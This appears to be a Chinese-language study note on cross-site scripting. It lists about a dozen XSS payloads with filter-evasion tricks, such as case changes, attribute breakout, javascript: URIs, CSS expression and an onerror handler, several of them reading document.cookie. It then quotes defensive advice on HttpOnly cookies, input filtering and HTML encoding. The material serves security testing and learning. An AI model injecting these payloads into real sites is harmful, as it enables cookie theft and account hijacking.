在烏雲發現了一個有關XSS的教程,目前有21篇,夠我慢慢兒學的了。
這個系列教程的地址:http://www.wooyun.org/whitehats/心傷的瘦子/page/1
幾個常見的語句
<script>alert('xss')</script> //默認形式
<ScrIpT>alert("xss")</SCriPt> //變換大小寫
"/><script>alert(document.cookie)</script><!-- // <!-- 表示的意思是 閉合注釋
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
<img src=javascript:alert("xss")></img //變換形式
<img src=javascript:alert("xss")> //使用ASCII表示
<IMG SRC="jav	ascript:alert('XSS');" > //插入干擾
<DIV STYLE="width:expression(alert(163));"> //其他屬性
<DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再干擾
<img src="#" onerror=alert(/xss/)> //借用事件
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站
補充內容
下面的是一篇講XSS基礎原理和使用的文章,寫得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
其中下面的這段話(也是摘自原文)講的是《xss漏洞修復》,既是測試有必要關注的測試點,也是開發每每需要留意的地方。
原則: 不相信客戶輸入的數據
注意: 攻擊代碼不一定在<script></script>中
- 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
- 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。
- 對數據進行Html Encode 處理
- 過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for
- 過濾JavaScript 事件的標簽。例如 "onclick=", "onfocus" 等等。